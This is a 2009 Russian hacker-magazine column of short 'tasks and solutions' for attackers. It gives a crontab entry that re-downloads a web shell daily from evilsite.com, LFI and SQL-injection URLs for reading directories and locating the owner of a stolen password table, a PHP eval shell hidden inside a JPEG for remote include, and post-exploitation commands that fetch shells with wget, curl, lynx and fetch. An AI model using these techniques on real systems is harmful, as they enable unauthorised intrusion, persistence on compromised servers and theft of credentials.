Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #132, ДЕКАБРЬ 2009 г.

Easy Hack


Задача: избежать постоянного удаления WEB-шелла со взломанного сервера

Решение:

При возникновении этой проблемы можно немного усложнить жизнь бдящему админу, особенно если он не до конца догоняет принципы *nix-архитектуры. Естественно, при этом мы будем заливать шелл не вручную, а автоматически. Как? Очень просто — с помощью набора cron и команды crontab. Как гласит моя давняя подруга, wikipedia.org: cron — демон-планировщик задач в UNIX-подобных операционных системах, использующийся для периодического выполнения заданий в заданное время.

1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.

2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:

SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php

3. Запускаем команду crontab /tmp/cmd.

4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.

Задача: просмотреть в удобном виде содержимое папки на Freebsd через инклуд или SQL

Решение:

Ты, наверное, уже знаешь, что FreeBSD позволяет читать (при наличии прав, конечно) не только файлы, но и содержимое самих директорий. Допустим, есть локальный инклуд или читалка файлов. Если в параметре указать не файл, а директорию, то будет выведен ее листинг.

1. Предположим, у нас есть локальный инклуд. С его помощью мы можем прочитать содержимое любого каталога. Например:

site.com/file.php?file=../../../../../../etc/

2. И даже если мы имеем банальную SQL-Injection, багофича FreeBSD придет к нам на помощь. Единственный нюанс: в СУБД должны быть права на «file_priv». site.com/file.php?file=-1+union+select+1,LOAD_FILE('/ etc/'),3/*

3. Почему это происходит, задумываться не будем, ибо это тема для отдельной статьи. Для нас важно, что такая возможность существует. Плохо лишь то, что при выводе данных в браузер информация выглядит нечитабельно. К счастью для нас, эту проблему уже решил Scipio, написав скрипт, который отлично справляется с задачей, выводит файлы, папки и символические ссылки в удобном и приятном глазу виде:

...
for ($i=0;$i<$ln;$i+=2)
{
$curhex=substr($s,$i,3);
$nexthex=substr($s,$i+4,1);
if (($curhex=='040') and ($nexthex>'1') and
($nexthex<’8’))
{
$pob="<br>".'<b>[DIR]</b> ';
$nam=TRUE;
$i+=4;
}
if (($curhex=='080')
and ($nexthex>'1')
and ($nexthex<'8'))
{
$pob="<br>".'[FILE] ';
$nam=TRUE;
$i+=4;
}
...

Как видишь, автор просто оптимизировал вывод данных посредством анализа посторонних hex-кодов. Больше о скрипте ты можешь прочитать по ссылке https://forum.antichat.ru/threadnav55237-1-10.html. Там же находится аналогичный сценарий от oRb’а. Выбирай любой и пользуйся.

Задача: закодировать\раскодировать строку или текст различными алгоритмами

Решение:

Необходимость такого рода манипуляций возникает довольно часто. И по самым разным причинам. Будь то работа с базой при MK=ON, когда требуется перевести название таблиц в хекс или чар, или перевод строки в base64, при инклудах. Или банально разобрать, что за файл с крякозябрами попал в твои хакерские ручки. В общем, область применения достаточно широкая, вопросов такого плана возникает много.

1. Для решения задачи я пользуюсь отличной прогой «Штирлиц» (автор — Всеволод Лукьянин). К сожалению, оффсайт этой софтины приказал долго жить, и разработка, видимо, уже не ведется, но и имеющиеся версии обладают серьезным функционалом и работают без багов. Эта небольшая программулина (~500 Кб) имеет огромный список алгоритмов, и может не только перевести из одной в другую кодировки, но и расшифровать испорченный текст, текст, написанный с использованием нескольких кодировок и т.д. К тому же, присутствует нужный нам функционал по кодированию в base64, hex, URL-кодирование и еще куча всего. Несомненным плюсом является бесплатность. Так что качаем, ставим и наслаждаемся.

2. Если по каким-либо причинам тебе нужен онлайн-кодировщик, то вот три линка, которые решат любую задачу в этой области:
ostermiller.org/calc/encode.html Copyright Stephen Ostermiller

Алгоритмы: URL, Base 64, Hex
noxak.ru/tools/code/
автор Sn@k3

Алгоритмы: Parser URL, Base 64(encode/decode), 2 => 10 сис.счис, 10 => 2 сис.счис, 10 => 8 сис.счис, 8 => 10 сис. счис, Зеркало, Soundex(encode),ASCII код, Hex(encode), URL(encode/decode), MD5 hash(encode), Crc32(encode), ROT13(encode/decode), Char(encode), Decimal encode quest.fsb-my.name/code.php ну и кухонный комбайн от BlackSun’а

Список алгоритмов не пишу, он более чем внушительный. Загляни сам, думаю, найдешь все, что нужно.

Задача: сохранить шелл для удаленного инклуда

Решение:

Я не буду описывать способы всем давно известные (можно положить на свой сервер, на народ, на залитый уже шелл), но есть способ, о котором мне еще слышать не приходилось, — он позволяет хранить шелл достаточно долго и при этом не палить свои сервера и шеллы. Заливать шелл будем на файловый хостинг, который дает прямые линки на хранимые файлы. Предложил использовать этот способ geezer_code.

1. Создаем любое изображение.

$ echo "<?php eval($_REQUEST[cmd]);?>" > simple_shell.php
$ cat 1.jpeg simple_shell.php >> poisoned.jpeg

Картинка готова к загрузке.

2. Загружаем ее без ресайзинга и любых других преобразований (это важно), например, на imageshack.us.

3. Теперь можно инклудить ее по прямой ссылке с файлообменника.

Задача: найти сайт, которому принадлежит случайно обнаруженная таблица с паролями при использовании SQL-инъекции

Решение:

1. Сперва попытаемся извлечь контент сайта, сохраненный в базе, и попробуем однозначно идентифицировать его через поисковики (яндекс или гугл). Контентом может являться что угодно — новость, пост на форуме, запись в блоге и т.п. Для этого мы просто ищем таблицы, схожие по смыслу, например, messages, posts, news, articles, comments и извлекаем из них контент. К примеру, делаем запрос site.com/script.php?id=-1+union+select+1,message,3+fr om+messages--+ и ищем ответ в гугле:

http://www.google.com/search?q="контент из базы"

2. Если сайт не проиндексирован гуглом, ищем ссылки в самой базе. Для этого используем следующий like-запрос.

http://site.com/script.php?id=-1+union+select+1,group_ concat(concat_ws(0x3A,table_schema,table_name,column_ name)),3+from+information_schema.columns+where+column_ name+like+'%http://%'--+

или

http://site.com/script.php?id=-1+union+select+1,group_concat(concat_ws(0x3A,table_ schema,table_name,column_name)),3+from+information_ schema.columns+where+column_name+like+'%.php%'--+

и из полученных результатов выбираем локальные ссылки (наверняка, они будут).

Задача: убрать повторы строк из файла

Решение:

Часто возникает необходимость убрать повторы из текстовика. При сборке своего словаря, при парсинге логов, баз. В общем, думаю, ты частенько сталкивался с такого рода проблемой. Да, существует куча программ для работы со словарями, толпы написанных парсеров и т.д., но мы пойдем другим путем.

1. Решение через PHP.

Создаем php-парсер без наворотов. Комментарии я привел в коде, думаю, там все понятно. Сортировка по алфавиту и удаление повторов, это то, что в 90% случаев требуется сделать.

<?php
$file= file ('1.txt'); // файл на входе
sort ($file); // сортируем по алфавиту
$file = array_unique($file); // убираем повторы
foreach($file as $val){
$end .= $val ;
}
$out=fopen('2.txt','w'); // файл на выходе
fwrite($out,$end);
fclose($out);
?>

Файл, который нужно отпарсить, может быть и удаленным, и задаваться следующим образом:

$file= file (‘http://127.0.0.1/1.txt’);

Главное, чтобы это позволили настройки PHP-интерпретатора.

2. Консольное решение.

Владельцам линухов заморачиваться со скриптами вообще не требуется. Все давно реализовано в консоли:

cat 1.txt | sort | uniq > 2.txt

То же самое, разумеется, можно проделать в шелле, когда отпарсить файл нужно «на месте».

<?php
$file= file (‘1.txt’); // файл на входе
sort ($file); // сортируем по алфавиту
$file = array_unique($file); // убираем повторы
foreach($file as $val){
$end .= $val ;
}
$out=fopen(‘2.txt’,’w’); // файл на выходе
fwrite($out,$end);
fclose($out);
?>

Задача: сделать полноценный прокси-сервер из залитого шелла на уязвимой машине

Решение:

Существует несколько популярных решений подходящих для таких целей.

1. Для прокси с протоколом http я советую использовать pproxy, потому что проект обладает рядом весомых характеристик. Состоит из двух частей На удаленный веб-сервер заливается первая часть прокси, написанная на PHP — скрипт pproxy.php На локалхосте запускается вторая часть прокси, реализованная на Perl (скрипт plocal.pl), которая прослушивает порт как HTTP-прокси. На этот локальный http-прокси настраивается, например, браузер Страница релиза — forum.antichat.ru/showpost.php?p=959778&postcount=1 (либо бери с нашего DVD).

2. Для прокси с протоколом Socks5 используем легендарный Satanic Socks Server, потому как он Написан на Си Компилируется в Unix и Windows системах — я тестировал программу в различных дистрибутивах Linux и FreeBSD, а также в Windows XP (нет причин, по которым программа не должна собираться в других операционках) Не требует root-привелегий Размер бинарника в формате PE: 2,5 Кб. В формате ELF может меняться в зависимости от ОС, я получал бинарники размером от 9 до 16 Кб Поддерживается аутентификация по логину:паролю Клиент может передавать адрес сервера как в виде D/N, так и в виде IPv4 (IPv6 не поддерживается) Поддерживается только метод connect. Это объясняется тем, что я просто не знаю софт, использующий другие методы простокола Socks5.
Исходник занимает 1 файл размером менее 10 Кб — при необходимости 500 строк кода можно скопипастить через stdin. Берем проксик по адресу forum.antichat.ru/showpost.php?p=176928&postcount=1 или с DVD.

Задача: выделить наиболее полезные команды для багоискателя после заливки самопального backconnect-шелла

Решение:

1. Поиск директорий, доступных на запись, относительно текущей

find . -perm -2 -type d -ls

2. Поиск файлов с установленным SUID-битом

find / -type f -perm -04000 -ls

3. Поиск конфигурационных файлов

find / -type f -name "config*"

4. Поиск так называемых качалок

which wget; which curl; which lynx; which links; which fetch

5. Качалка wget

wget http://evilsite.com/shell.txt -O /home/user/www/shell.php

6. Качалка curl

curl http://evilsite.com/shell.txt -o /home/user/www/shell.php

7. Качалка links

links -source http://evilsite.com/shell.txt > /home/user/www/shell.php

8. Качалка lynx

lynx -source http://evilsite.com/shell.txt > /home/user/www/shell.php

9. Качалка fetch

fetch -o http://evilsite.com/shell.txt -p /home/user/www/shell.php

Содержание